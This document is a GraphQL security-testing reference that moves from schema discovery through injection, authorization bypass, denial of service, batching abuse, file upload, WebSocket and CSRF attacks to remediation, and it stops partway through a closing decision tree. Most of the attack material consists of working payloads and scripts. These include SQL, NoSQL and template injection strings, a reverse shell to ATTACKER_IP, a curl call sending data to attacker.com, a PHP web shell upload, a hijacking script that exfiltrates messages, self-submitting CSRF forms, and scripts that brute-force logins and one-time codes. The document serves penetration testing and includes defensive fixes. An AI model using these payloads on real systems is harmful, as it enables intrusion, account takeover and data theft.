A complete operational reference for GraphQL security testing covering reconnaissance via introspection, information disclosure, injection attacks, authentication/authorization bypass, DoS via query complexity, batching abuse, IDOR, file upload abuse, WebSocket attacks, WAF bypass, tooling, and remediation. Mapped to MITRE ATT&CK T1190 / T1059.
1. Core Concepts & Attack Surface
GRAPHQL ATTACK SURFACE TAXONOMY:
GRAPHQL ATTACKS
├── RECONNAISSANCE
│ ├── Introspection — enumerate full schema (types, queries, mutations, fields)
│ ├── Field Suggestion — server hints even when introspection is disabled
│ └── clairvoyance — wordlist-driven schema reconstruction
│
├── INJECTION
│ ├── SQL Injection via GraphQL arguments
│ ├── NoSQL Injection (MongoDB operators)
│ ├── OS Command Injection via resolver
│ └── SSTI via template-rendered fields
│
├── AUTHORIZATION
│ ├── IDOR — swap IDs in queries/mutations
│ ├── Privilege Escalation — access admin mutations as regular user
│ ├── Object-level bypass — query objects you don't own
│ └── Field-level bypass — access hidden fields not shown in UI
│
├── ABUSE
│ ├── Query batching → brute force / rate limit bypass
│ ├── Alias abuse → same as batching but single request
│ ├── Deeply nested queries → CPU/memory DoS
│ ├── Circular queries → infinite loop DoS
│ └── Field duplication → bandwidth amplification
│
├── TRANSPORT
│ ├── CSRF → no CORS protection, GET-based mutations
│ ├── WebSocket hijacking → subscriptions
│ └── File upload abuse → multipart extension
│
└── SECOND-ORDER
└── Stored payloads in mutations → triggered by later queries
Key Terms:
- Schema — defines all types, queries, mutations, subscriptions available on the API.
- Query — read-only operation (like GET in REST).
- Mutation — write operation (like POST/PUT/DELETE in REST).
- Subscription — real-time operation over WebSocket.
- Resolver — server-side function that handles a field. This is where injection happens.
- Introspection — built-in GraphQL mechanism to query the schema itself (__schema, __type).
- Field Suggestion — when you typo a field name, GraphQL often responds: "Did you mean X?" — leaks schema even without introspection.
- Batching — GraphQL allows sending an array of operations in one HTTP request.
- Alias — allows multiple calls to the same field with different arguments in one query.
- Fragment — reusable selection set that can be used to amplify query size.
Why It's Different from REST:
- Single endpoint (/graphql) handles everything — no per-endpoint rate limiting possible without custom logic.
- Client defines the shape of the response — attackers can ask for fields the UI never uses.
- Introspection is on by default in most frameworks — full schema discovery is trivial.
- Batching is a first-class feature — designed to allow multiple operations per request, trivially abused for brute force.
2. Endpoint Discovery & Fingerprinting
2.1 Common GraphQL Endpoints
# Common paths to probe:
/graphql
/api/graphql
/v1/graphql
/v2/graphql
/gql
/query
/api
/api/v1/graphql
/graphql/v1
/graphql/console
/graphql/playground
/graphiql
/playground
/explorer
/altair
2.2 Probing with curl
# Send a minimal introspection probe — 200 response + JSON body = GraphQL endpoint
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}' | jq .
# Expected response if GraphQL:
# { "data": { "__typename": "Query" } }
# Try GET-based query (some endpoints accept GET):
curl -s "https://target.com/graphql?query={__typename}"
2.3 Fingerprinting the Framework
# Error messages and headers reveal the backend:
# Apollo Server → "errors":[{"extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]
# Hasura → "errors":[{"extensions":{"code":"parse-failed"}}]
# graphql-java → X-Powered-By: graphql-java
# Strawberry/Python → error format differs
# graphene-django → Django-specific errors in 400 responses
# graphw00f — automated framework detection:
pip install graphw00f
graphw00f -d -t https://target.com/graphql
# Identifies: Apollo, Hasura, graphene, Graphene-Django, HyperGraphQL,
# Lighthouse, Graphqlite, Siler, Sangria, Flutter Strawberry, etc.
2.4 Quick Manual Probe Payloads
# Minimal valid query — always try first:
{ __typename }
# List root query type name:
{ __schema { queryType { name } } }
# Trigger error to reveal framework info:
{ __schema }
# Test mutation support:
mutation { __typename }
3. Introspection Attacks
HOW IT WORKS: GraphQL introspection is a built-in mechanism that lets clients query the full schema. When enabled (default in most frameworks), a single request reveals every type, query, mutation, field, argument, and their types — a complete API map without any authentication.
3.1 Full Schema Dump — Single Query
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
}
}
}
}
# Execute via curl:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query{__schema{queryType{name}mutationType{name}types{kind name fields(includeDeprecated:true){name args{name type{kind name ofType{kind name}}}type{kind name ofType{kind name}}}}}}"}' \
| jq . > schema_dump.json
3.2 Extract Just Queries & Mutations
# List all available queries:
{
__schema {
queryType {
fields {
name
description
args {
name
type { kind name ofType { kind name } }
}
}
}
}
}
# List all available mutations:
{
__schema {
mutationType {
fields {
name
description
args {
name
type { kind name ofType { kind name } }
}
}
}
}
}
3.3 Inspect a Specific Type
# Get all fields of a specific type (e.g., User):
{
__type(name: "User") {
name
fields {
name
type { kind name ofType { kind name } }
}
}
}
3.4 InQL — Automated Introspection + Wordlist Generation
# Install:
pip install inql
# Run against target — dumps schema and generates wordlists:
inql -t https://target.com/graphql -o ./output/
# With authentication:
inql -t https://target.com/graphql \
-H "Authorization: Bearer <TOKEN>" \
-o ./output/
# Output includes:
# - schema.json → raw schema
# - queries/ → all query templates
# - mutations/ → all mutation templates
# - Fragment wordlists for fuzzing
3.5 Bypassing Disabled Introspection
When __schema and __type return errors, try these:
# Method 1 — __type still works sometimes even when __schema is blocked:
{ __type(name: "Query") { fields { name } } }
# Method 2 — Field suggestion (always works, introspection doesn't affect this):
# Send a query with a typo and read the "Did you mean X?" suggestion:
{ uzer { id } }
# → "Cannot query field 'uzer' on type 'Query'. Did you mean 'user'?"
# Method 3 — Newline bypass (some WAFs/middleware block based on __schema string):
{ __schema
{ types { name } } }
# Method 4 — Fragment-based bypass:
fragment s on __Schema { types { name } }
{ ..s }
# Method 5 — GET request bypass (some servers only block POST introspection):
curl "https://target.com/graphql?query={__schema{types{name}}}"
# Method 6 — Content-Type bypass:
curl -X POST https://target.com/graphql \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'query={ __schema { types { name } } }'
3.6 clairvoyance — Schema Reconstruction Without Introspection
# Install:
pip install clairvoyance
# Run against target using default wordlist:
clairvoyance -u https://target.com/graphql -o schema.json
# With authentication header:
clairvoyance -u https://target.com/graphql \
-H "Authorization: Bearer TOKEN" \
-o schema.json
# Custom wordlist (use SecLists GraphQL wordlists):
clairvoyance -u https://target.com/graphql \
-w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
-o schema.json
# How it works:
# Sends fields one by one and reads field-suggestion error messages
# Reconstructs the schema from the "Did you mean X?" hints
# Works even when introspection is fully disabled
4. Information Disclosure
4.1 Deprecated Fields Still Accessible
# Introspection returns deprecated fields when asked:
{
__schema {
types {
fields(includeDeprecated: true) {
name
isDeprecated
deprecationReason
}
}
}
}
# Then directly query those deprecated fields — they're often still functional:
{
user(id: 1) {
id
email
password_hash # deprecated, but resolver still returns it
ssn # deprecated and forgotten, but still resolves
}
}
4.2 Hidden Fields — Not in UI, But in Schema
# After introspection dump, look for sensitive field names:
# grep for: password, hash, secret, key, token, internal, admin, ssn, dob, credit
# Example — UI shows only name and email, but schema has:
{
user(id: 1) {
id
name
email
passwordHash # not shown in UI, but resolver returns it
totpSecret # 2FA seed
resetToken # password reset token
internalNotes # admin-only field with no authz check
}
}
4.3 Debug / Developer Endpoints Left Exposed
# Common developer/admin queries found after introspection:
{
debugInfo { version buildHash dbConnectionString }
adminUsers { id email role passwordHash }
systemConfig { smtpPassword s3SecretKey stripeSecretKey }
allLogs { timestamp userId action ip }
}
4.4 Error Message Leakage
# Malformed queries often leak stack traces, DB queries, or internal paths:
# Send invalid argument types:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: \"not-an-int\") { id } }"}'
# Inject SQL-like chars to trigger DB errors in the response:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: \"1 OR 1=1\") { id email } }"}'
# Check for verbose errors:
# Apollo → detailed error in development mode
# Hasura → full SQL error if not sanitized
5. Injection Attacks via GraphQL
KEY CONCEPT: GraphQL itself is not vulnerable — the resolver is. The resolver takes the argument value and passes it to a database, shell, or template. If the resolver doesn't sanitize, the GraphQL argument is the injection point.
5.1 SQL Injection
# Test with classic SQL break:
{ user(id: "1'") { id email } }
{ user(id: "1 OR 1=1") { id email } }
{ user(id: "1; DROP TABLE users --") { id email } }
# UNION-based (when the field is reflected):
{ search(term: "x' UNION SELECT null,username,password FROM users--") {
results { id name }
}
}
# Boolean-based blind:
{ user(id: "1 AND 1=1") { id } } # → returns user
{ user(id: "1 AND 1=2") { id } } # → returns null → SQLi confirmed
# Time-based blind (MySQL):
{ user(id: "1 AND SLEEP(5)") { id } }
# Time-based blind (PostgreSQL):
{ user(id: "1; SELECT PG_SLEEP(5)--") { id } }
# sqlmap against GraphQL:
# Method 1 — custom request with injection marker (*)
# Save this as req.txt:
# POST /graphql HTTP/1.1
# Host: target.com
# Content-Type: application/json
#
# {"query":"{ user(id: \"*\") { id email } }"}
sqlmap -r req.txt --dbms=mysql --batch --level=3
# Method 2 — inline:
sqlmap -u "https://target.com/graphql" \
--data='{"query":"{ user(id: \"*\") { id email } }"}' \
-p "query" \
--dbms=mysql \
--batch
5.2 NoSQL Injection (MongoDB / Mongoose)
# Classic MongoDB operator injection:
# Target: { user(email: "victim@example.com") { id } }
# Test — inject operators inside the string value:
{ user(email: {$gt: ""}) { id email password } }
{ user(email: {$ne: null}) { id email } }
{ user(email: {$regex: ".*"}) { id email } }
# If the API accepts JSON within the string argument:
{ user(filter: "{\"$where\": \"sleep(5000)\"}") { id } }
# Dump all users via regex:
{ users(filter: {email: {$regex: ".*@.*"}}) { id email password } }
# Login bypass (if resolver passes args to findOne directly):
{ login(email: {$ne: null}, password: {$ne: null}) { token } }
5.3 OS Command Injection
# Arguments passed to shell commands by the resolver:
{ ping(host: "8.8.8.8; id") { result } }
{ ping(host: "8.8.8.8 | cat /etc/passwd") { result } }
{ convertImage(filename: "image.jpg; curl http://attacker.com/$(id)") { url } }
{ exportReport(format: "pdf; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") { url } }
5.4 SSTI via GraphQL Arguments
# Template injection — if resolver renders argument in a template:
{ sendEmail(subject: "{{7*7}}", to: "test@example.com") { success } }
# → If email subject says "49" → SSTI confirmed
# Jinja2 (Python):
{ sendEmail(subject: "{{config.items()}}", to: "test@x.com") { success } }
{ sendEmail(subject: "{{''.__class__.__mro__[1].__subclasses__()}}", to: "t@x.com") { success } }
# Twig (PHP):
{ render(template: "{{7*'7'}}") { output } } # → "49" = Twig, "7777777" = Jinja2
5.5 Path Traversal via File-Related Arguments
# File read arguments:
{ getFile(path: "../../etc/passwd") { content } }
{ downloadReport(filename: "../../../etc/shadow") { data } }
{ loadTemplate(name: "../../../../var/www/html/config.php") { content } }
6. Authentication & Authorization Bypass
6.1 Accessing Mutations Without Authentication
# Step 1: Dump all mutations via introspection
# Step 2: Try mutations without a token
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { createAdmin(username:\"hacker\",password:\"hacker123\") { id role } }"}'
# Common unprotected mutations to look for:
# registerUser, createUser, resetPassword, changeEmail
# deleteAccount, promoteToAdmin, updateRole
6.2 Privilege Escalation via Role/Admin Fields
# If createUser or updateUser allows setting the role field:
mutation {
createUser(input: {
username: "hacker"
password: "hacker123"
email: "hacker@evil.com"
role: "admin" # field not shown in UI but accepted by resolver
isAdmin: true # alternative field
}) {
id
role
}
}
6.3 JWT / Token Manipulation
# If JWT is used — standard attacks apply:
# 1. alg:none bypass:
# Strip the signature, set "alg":"none"
# 2. HS256 → RS256 confusion
# 3. Weak secret brute-force with hashcat:
hashcat -a 0 -m 16500 <JWT> /usr/share/wordlists/rockyou.txt
# Test with no token — try accessing protected queries:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ adminUsers { id email role } }"}'
# Test with a regular user token accessing admin queries:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REGULAR_USER_JWT" \
-d '{"query":"{ adminUsers { id email role } }"}'
6.4 Mass Assignment via GraphQL Input Types
# updateProfile mutation might accept undocumented fields:
mutation {
updateProfile(input: {
displayName: "hacker"
balance: 999999 # financial field
credits: 9999 # game credits
verified: true # email-verified flag
twoFactorEnabled: false # disable 2FA
subscriptionPlan: "enterprise"
}) {
id
balance
verified
}
}
7. IDOR via GraphQL
7.1 Direct Object Reference in Queries
# Standard IDOR — change the ID:
# Logged in as user 42, try fetching user 1 (admin):
{ user(id: 1) { id email passwordHash role apiKey } }
{ user(id: 2) { id email } }
{ user(id: 3) { id email } }
# IDOR in mutation — change other users' data:
mutation {
updateUser(id: 1, input: { email: "attacker@evil.com" }) { id email }
}
# Delete other users' resources:
mutation {
deletePost(id: 99) { success }
}
7.2 UUID/GUID Enumeration
# UUIDs aren't random if generated by the server predictably
# Or if the app leaks them via other endpoints:
# Enumerate via alias batching (see Section 9):
{
u1: user(id: "550e8400-e29b-41d4-a716-446655440000") { id email }
u2: user(id: "550e8400-e29b-41d4-a716-446655440001") { id email }
u3: user(id: "550e8400-e29b-41d4-a716-446655440002") { id email }
}
7.3 IDOR in Nested Object Queries
# Access orders from another user by querying via a shared object:
{
order(id: 1337) {
id
owner {
id
email # reveals another user's data
paymentMethod { last4 cardType billingAddress }
}
items { name price }
}
}
8. Denial of Service — Query Complexity & Depth
8.1 Deeply Nested Queries (Stack Overflow / Timeout)
# If the server allows circular type references:
# Schema: User has friends: [User], Post has author: User, User has posts: [Post]
# Deeply nested circular query:
{
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
id email
}
}
}
}
}
}
}
}
}
# Post → Author → Posts → Author → Posts... circular:
{
post(id: 1) {
author {
posts {
author {
posts {
author {
posts {
id title
}
}
}
}
}
}
}
}
8.2 Field Duplication / Over-fetching
# Request the same expensive field thousands of times:
{
user(id: 1) {
email email email email email email email email email email
email email email email email email email email email email
# ... repeat 1000x
}
}
8.3 Fragment-Based Amplification (Fragment Bombs)
# Fragment bombs — exponential explosion of field resolution:
fragment fields on User {
id email name role
friends { id email name role }
}
{
u1: user(id: 1) { ...fields ...fields ...fields ...fields ...fields }
u2: user(id: 2) { ...fields ...fields ...fields ...fields ...fields }
u3: user(id: 3) { ...fields ...fields ...fields ...fields ...fields }
u4: user(id: 4) { ...fields ...fields ...fields ...fields ...fields }
}
8.4 Batch Query DoS
# Send 1000 operations in a single batch request:
python3 - <<'EOF'
import json, requests
ops = [{"query": "{ users { id email } }"}] * 1000
r = requests.post(
"https://target.com/graphql",
json=ops,
headers={"Content-Type": "application/json"}
)
print(r.status_code, len(r.content))
EOF
9. Batching & Alias Abuse
HOW IT WORKS: GraphQL allows multiple operations per request (array batching) and multiple calls to the same field with different arguments (alias). This is intended to reduce HTTP round trips but is trivially abused to bypass rate limits and brute force credentials.
9.1 Array Batching for Rate Limit Bypass
# Brute force login via batch — all 100 attempts in ONE request:
python3 - <<'EOF'
import json, requests
passwords = open("/usr/share/wordlists/common.txt").read().splitlines()[:100]
batch = [
{
"query": """
mutation Login($p: String!) {
login(username: "admin", password: $p) { token }
}
""",
"variables": {"p": pw}
}
for pw in passwords
]
r = requests.post(
"https://target.com/graphql",
json=batch,
headers={"Content-Type": "application/json"}
)
for i, result in enumerate(r.json()):
if result.get("data", {}).get("login", {}).get("token"):
print(f"[+] FOUND: {passwords[i]}")
break
EOF
9.2 Alias Abuse — Multiple Logins in One Request
# 5 login attempts in a single HTTP request — one rate-limit hit:
mutation {
a1: login(username: "admin", password: "password") { token }
a2: login(username: "admin", password: "admin123") { token }
a3: login(username: "admin", password: "123456") { token }
a4: login(username: "admin", password: "letmein") { token }
a5: login(username: "admin", password: "qwerty") { token }
}
9.3 OTP / 2FA Bypass via Alias Batching
# Brute-force a 4-digit OTP (10000 combos) in batches of 1000:
mutation {
otp0000: verifyOTP(code: "0000") { success token }
otp0001: verifyOTP(code: "0001") { success token }
otp0002: verifyOTP(code: "0002") { success token }
# ... up to 0999 in batch 1
# Then batch 2: 1000–1999, etc.
}
# Full OTP brute force script:
import requests, json
TARGET = "https://target.com/graphql"
BATCH_SIZE = 100
def build_batch(start, end):
aliases = []
for i in range(start, end):
code = str(i).zfill(4)
aliases.append(f'otp{code}: verifyOTP(code: "{code}") {{ success token }}')
query = "mutation {\n" + "\n".join(aliases) + "\n}"
return {"query": query}
for batch_start in range(0, 10000, BATCH_SIZE):
payload = build_batch(batch_start, min(batch_start + BATCH_SIZE, 10000))
r = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
for key, val in r.json().get("data", {}).items():
if val and val.get("token"):
print(f"[+] Valid OTP: {key.replace('otp','')}, Token: {val['token']}")
exit()
9.4 Email Enumeration via Alias
{
u1: userExists(email: "admin@target.com") { exists }
u2: userExists(email: "test@target.com") { exists }
u3: userExists(email: "info@target.com") { exists }
u4: userExists(email: "support@target.com") { exists }
u5: userExists(email: "billing@target.com") { exists }
}
10. File Upload Abuse
10.1 GraphQL Multipart Upload (graphql-multipart-request-spec)
# Standard GraphQL file upload via multipart:
curl -s -X POST https://target.com/graphql \
-F 'operations={"query":"mutation Upload($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
-F 'map={"0":["variables.file"]}' \
-F '0=@/tmp/test.txt;type=text/plain'
10.2 Web Shell Upload via GraphQL
# Upload PHP webshell:
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
curl -s -X POST https://target.com/graphql \
-F 'operations={"query":"mutation Upload($file: Upload!) { uploadAvatar(file: $file) { url } }","variables":{"file":null}}' \
-F 'map={"0":["variables.file"]}' \
-F '0=@/tmp/shell.php;type=image/jpeg'
# Then: curl https://target.com/uploads/shell.php?cmd=id
10.3 SSRF via File URL / Remote Fetch Mutations
# Some mutations accept URLs and fetch them server-side:
mutation {
importFromURL(url: "http://169.254.169.254/latest/meta-data/") { content }
uploadFromURL(url: "http://internal-service:8080/admin") { result }
fetchWebhook(url: "http://attacker.com/exfil?data=test") { success }
}
11. WebSocket / Subscription Attacks
11.1 Hijacking GraphQL Subscriptions
// GraphQL subscriptions run over WebSocket (graphql-ws or subscriptions-transport-ws)
// If no auth check on the subscription resolver, anyone can subscribe:
// Connect via wscat:
// npm install -g wscat
// wscat -c wss://target.com/graphql -H "Upgrade: websocket"
// graphql-ws protocol — init then subscribe:
const ws = new WebSocket("wss://target.com/graphql", "graphql-transport-ws");
ws.onopen = () => {
// Step 1: connection_init (send with another user's token if hijacked)
ws.send(JSON.stringify({ type: "connection_init", payload: { authorization: "Bearer VICTIM_TOKEN" } }));
};
ws.onmessage = (event) => {
const msg = JSON.parse(event.data);
if (msg.type === "connection_ack") {
// Step 2: subscribe to sensitive data stream
ws.send(JSON.stringify({
id: "1",
type: "subscribe",
payload: {
query: `subscription { messageReceived { from content timestamp } }`
}
}));
}
console.log(msg);
};
11.2 Cross-Site WebSocket Hijacking (CSWSH) via Subscriptions
<!-- If the WebSocket upgrade doesn't validate Origin, embed in attacker page: -->
<script>
const ws = new WebSocket("wss://target.com/graphql", "graphql-transport-ws");
ws.onopen = () => {
ws.send(JSON.stringify({ type: "connection_init", payload: {} }));
};
ws.onmessage = (e) => {
// Exfiltrate received messages to attacker server:
fetch("https://attacker.com/log?d=" + encodeURIComponent(e.data));
};
</script>
12. CSRF over GraphQL
12.1 GET-Based Mutation CSRF
<!-- If the server allows mutations over GET:
https://target.com/graphql?query=mutation{deleteAccount{success}}
Just embed in an <img> or <script src>: -->
<img src="https://target.com/graphql?query=mutation{deleteAccount{success}}" />
<script src="https://target.com/graphql?query=mutation{changeEmail(email:'attacker@evil.com'){success}}"></script>
12.2 POST-Based CSRF (No CORS Check)
<!-- If Content-Type: application/json isn't enforced for CORS,
use text/plain to bypass preflight: -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/graphql"
enctype="text/plain">
<!-- The form field name is the entire JSON payload with no value -->
<input name='{"query":"mutation{changeEmail(email:\"attacker@evil.com\"){success}}","variables":{}}' value=''>
</form>
</body>
</html>
12.3 CSRF via application/x-www-form-urlencoded
<!-- Some GraphQL servers accept urlencoded bodies: -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/graphql">
<input name="query" value='mutation { changePassword(new: "hacked123") { success } }'>
</form>
</body>
</html>
13. WAF & Filter Bypass
13.1 Query Obfuscation — Whitespace & Encoding
# Minified — no spaces (bypass keyword-length WAF rules):
{user(id:1){id email passwordHash}}
# Maximum whitespace:
{
user ( id : 1 ) {
id
email
passwordHash
}
}
# Inline comment injection (GraphQL supports # comments):
{
user(id: 1) { # get admin
id
email
}
}
13.2 Variable Exfiltration — Move Payloads to Variables
# Instead of embedding the injection in the query string (WAF sees it),
# move it to the variables JSON (WAFs often inspect less):
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query GetUser($id: String!) { user(id: $id) { id email } }",
"variables": { "id": "1 OR 1=1 --" }
}'
13.3 Directive Injection
# Use @skip and @include directives to split up blocked strings:
{
user(id: 1) {
email @skip(if: false)
passwordHash @include(if: true)
}
}
13.4 Aliases to Rename Blocked Fields
# If "adminUsers" is blocked by WAF keyword:
{
a: admin_users { id email role }
b: adminUser(id: 1) { id email }
}
13.5 Content-Type Bypass
# Try different Content-Types — some WAFs only inspect application/json:
curl -X POST https://target.com/graphql \
-H "Content-Type: application/graphql" \
--data '{ user(id: 1) { id email passwordHash } }'
# x-www-form-urlencoded:
curl -X POST https://target.com/graphql \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'query={ user(id: 1) { id email } }'
14. Tooling — clairvoyance, graphw00f, InQL, Altair
14.1 graphw00f — Framework Fingerprinting
pip install graphw00f
# Detect the GraphQL engine/framework:
graphw00f -d -t https://target.com/graphql
# With auth:
graphw00f -d -t https://target.com/graphql \
-H "Authorization: Bearer TOKEN"
# Output: identifies Apollo, Hasura, graphene-django, HyperGraphQL,
# Lighthouse (Laravel), Strawberry, Siler, gqlgen, etc.
# Useful: each framework has known CVEs and specific bypass techniques
14.2 InQL — Introspection + Burp Integration
# CLI usage:
pip install inql
inql -t https://target.com/graphql -o ./graphql_output/
# With headers:
inql -t https://target.com/graphql \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer TOKEN" \
-o ./output/
# Burp Suite extension:
# Install InQL from BApp Store
# Right-click any GraphQL request → Send to InQL Scanner
# Automatically generates all queries and mutations as Burp tabs
# Then use Burp Repeater / Intruder on each
14.3 clairvoyance — Blind Schema Reconstruction
pip install clairvoyance
# Basic run:
clairvoyance -u https://target.com/graphql -o schema.json
# With custom wordlist:
clairvoyance -u https://target.com/graphql \
-w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
-o schema.json
# Load reconstructed schema into InQL:
inql -s schema.json -o ./output/
14.4 sqlmap Against GraphQL Endpoints
# Save a raw Burp request as req.txt with the injection point marked:
# POST /graphql HTTP/1.1
# Host: target.com
# Content-Type: application/json
#
# {"query":"{ user(id: FUZZ) { id email } }"}
# Use -p with the body parameter and inject marker:
sqlmap -r req.txt \
--data='{"query":"{ user(id: \"*\") { id email } }"}' \
--dbms=postgresql \
--level=3 \
--batch
# With authentication:
sqlmap -r req.txt \
--headers="Authorization: Bearer TOKEN" \
--dbms=mysql \
--batch \
--dbs
14.5 Altair GraphQL Client (Manual Testing)
# Install Altair (desktop GraphQL client):
# → https://altairgraphql.dev/ (cross-platform)
# → Chrome extension available
# Use for:
# 1. Visual introspection explorer
# 2. Manual query/mutation testing
# 3. Setting custom headers (Authorization, Cookie)
# 4. Subscription testing via WebSocket
# 5. Export collections for team sharing
14.6 Automated Scan with Nuclei
# GraphQL-specific templates:
nuclei -u https://target.com/graphql \
-t nuclei-templates/vulnerabilities/graphql/ \
-v
# Introspection detection:
nuclei -u https://target.com/graphql \
-t nuclei-templates/exposures/apis/graphql-introspection.yaml \
-v
# Custom one-liner check:
nuclei -u https://target.com \
-t nuclei-templates/ \
-tags graphql \
-v
15. Remediation
15.1 Disable Introspection in Production
// Apollo Server 3+:
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production',
});
// Apollo Server 4+:
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: false, // disable permanently
});
# Graphene (Python):
schema = graphene.Schema(query=Query, mutation=Mutation)
# Disable via middleware or custom validation rule
from graphql.validation import NoSchemaIntrospectionCustomRule
# Add rule to execution context
// Lighthouse (Laravel):
// config/lighthouse.php
'security' => [
'disable_introspection' => env('LIGHTHOUSE_SECURITY_DISABLE_INTROSPECTION', true),
],
15.2 Input Validation & Parameterized Resolvers
// VULNERABLE resolver — passes arg directly to DB:
const resolvers = {
Query: {
user: async (_, { id }) => {
return db.query(`SELECT * FROM users WHERE id = ${id}`); // SQLi
}
}
};
// SAFE — parameterized query:
const resolvers = {
Query: {
user: async (_, { id }) => {
return db.query("SELECT * FROM users WHERE id = $1", [id]);
}
}
};
// SAFE — ORM:
const resolvers = {
Query: {
user: async (_, { id }) => {
return User.findByPk(id);
}
}
};
15.3 Query Depth & Complexity Limits
// Apollo Server — graphql-depth-limit + graphql-query-complexity:
const { createComplexityLimitRule } = require('graphql-query-complexity');
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
depthLimit(5), // max 5 levels deep
createComplexityLimitRule(1000, { // max complexity score 1000
onCost: (cost) => console.log('Query cost:', cost),
}),
],
});
15.4 Disable or Limit Batching
// Apollo Server — disable array batching:
const server = new ApolloServer({
typeDefs,
resolvers,
allowBatchedHttpRequests: false, // default is false in Apollo Server 4
});
// Or limit batch size:
// Use a custom middleware that rejects arrays > 5 operations
app.use('/graphql', (req, res, next) => {
if (Array.isArray(req.body) && req.body.length > 5) {
return res.status(400).json({ error: "Batch size exceeded" });
}
next();
});
15.5 Authorization — Field-Level & Object-Level
// Field-level authorization with graphql-shield:
const { shield, rule, and } = require('graphql-shield');
const isAuthenticated = rule()(async (parent, args, ctx) => {
return ctx.user !== null;
});
const isAdmin = rule()(async (parent, args, ctx) => {
return ctx.user?.role === 'admin';
});
const permissions = shield({
Query: {
user: isAuthenticated,
adminUsers: and(isAuthenticated, isAdmin),
},
Mutation: {
deleteUser: and(isAuthenticated, isAdmin),
updateRole: and(isAuthenticated, isAdmin),
},
User: {
passwordHash: isAdmin, // field-level — only admin can see this
totpSecret: isAdmin,
},
});
# Object-level authorization — always check ownership:
class PostResolver:
def resolve_post(root, info, id):
post = Post.objects.get(pk=id)
if post.author_id != info.context.user.id:
raise GraphQLError("Forbidden") # IDOR prevention
return post
15.6 Rate Limiting
// Per-IP rate limit on GraphQL endpoint:
const rateLimit = require('express-rate-limit');
const graphqlLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 100, // 100 requests per IP per minute
message: "Too many requests"
});
app.use('/graphql', graphqlLimiter);
// Per-user resolver-level rate limit (for mutation abuse):
// Use graphql-rate-limit package for field-level throttling
const { createRateLimitRule } = require('graphql-rate-limit');
const rateLimitRule = createRateLimitRule({
identifyContext: (ctx) => ctx.user?.id || ctx.ip,
});
const permissions = shield({
Mutation: {
login: rateLimitRule({ window: '1m', max: 5 }), // 5 logins/min
verifyOTP: rateLimitRule({ window: '1m', max: 5 }),
},
});
15.7 Disable Field Suggestions
// Apollo Server — mask schema suggestions:
const { ApolloServerPluginLandingPageDisabled } = require('@apollo/server/plugin/disabled');
const { hideSchemaDetails } = require('some-middleware');
// Or use a custom error formatter to strip suggestions:
const server = new ApolloServer({
typeDefs,
resolvers,
formatError: (error) => {
// Strip "Did you mean X?" from errors in production:
if (process.env.NODE_ENV === 'production') {
error.message = error.message.replace(/Did you mean.*\?/g, '');
}
return error;
}
});
15.8 Defense-in-Depth Summary
PRIMARY CONTROLS:
├── Disable introspection in production
├── Parameterized queries in every resolver (no string concat)
├── Object-level authz (always check ownership in resolvers)
├── Field-level authz (hide sensitive fields from non-admins)
└── Input validation (type coercion, allowlists for enums)
SECONDARY CONTROLS:
├── Query depth limit (max 5–7 levels)
├── Query complexity limit (score-based)
├── Batch request limit (max 5–10 per request)
├── Alias limit per query
├── Field suggestion masking in production
├── Resolver-level rate limiting (login, OTP, register)
└── Persisted queries (whitelist-only in high-security contexts)
DETECTION:
├── Log all GraphQL operations with resolved types
├── Alert on introspection queries in production
├── Alert on deeply nested queries (depth > threshold)
├── Alert on large batches (> 10 operations)
└── WAF rules for GraphQL injection patterns
16. Master Cheat Sheet
Attack Decision Tree
GraphQL endpoint found?
│
├── Step 1: Fingerprint framework (graphw00f)
│
├── Step 2: Try introspection
│ ├── Enabled? → dump full schema → enumerate queries, mutations, fields
│ └── Disabled?
│ ├── Try field suggestion bypass (typo a field name)
│ ├── Try __type instead of __schema
│ ├── Try GET-based introspection
│ └── Run clairvoyance for blind reconstruction
│
├── Step 3: Enumerate interesting targets from schema
│ ├── Admin queries/mutations without "admin" in path?
│ ├── Deprecated fields still accessible?
│ ├── Sensitive field names? (password, hash, secret, token, key)
│ └── File/URL-related mutations? (upload, import, fetch, webhook)
│
├── Step 4: Authorization testing
│ ├── Try mutations without auth (unauthenticated)
│ ├── Try admin mutations with regular user token
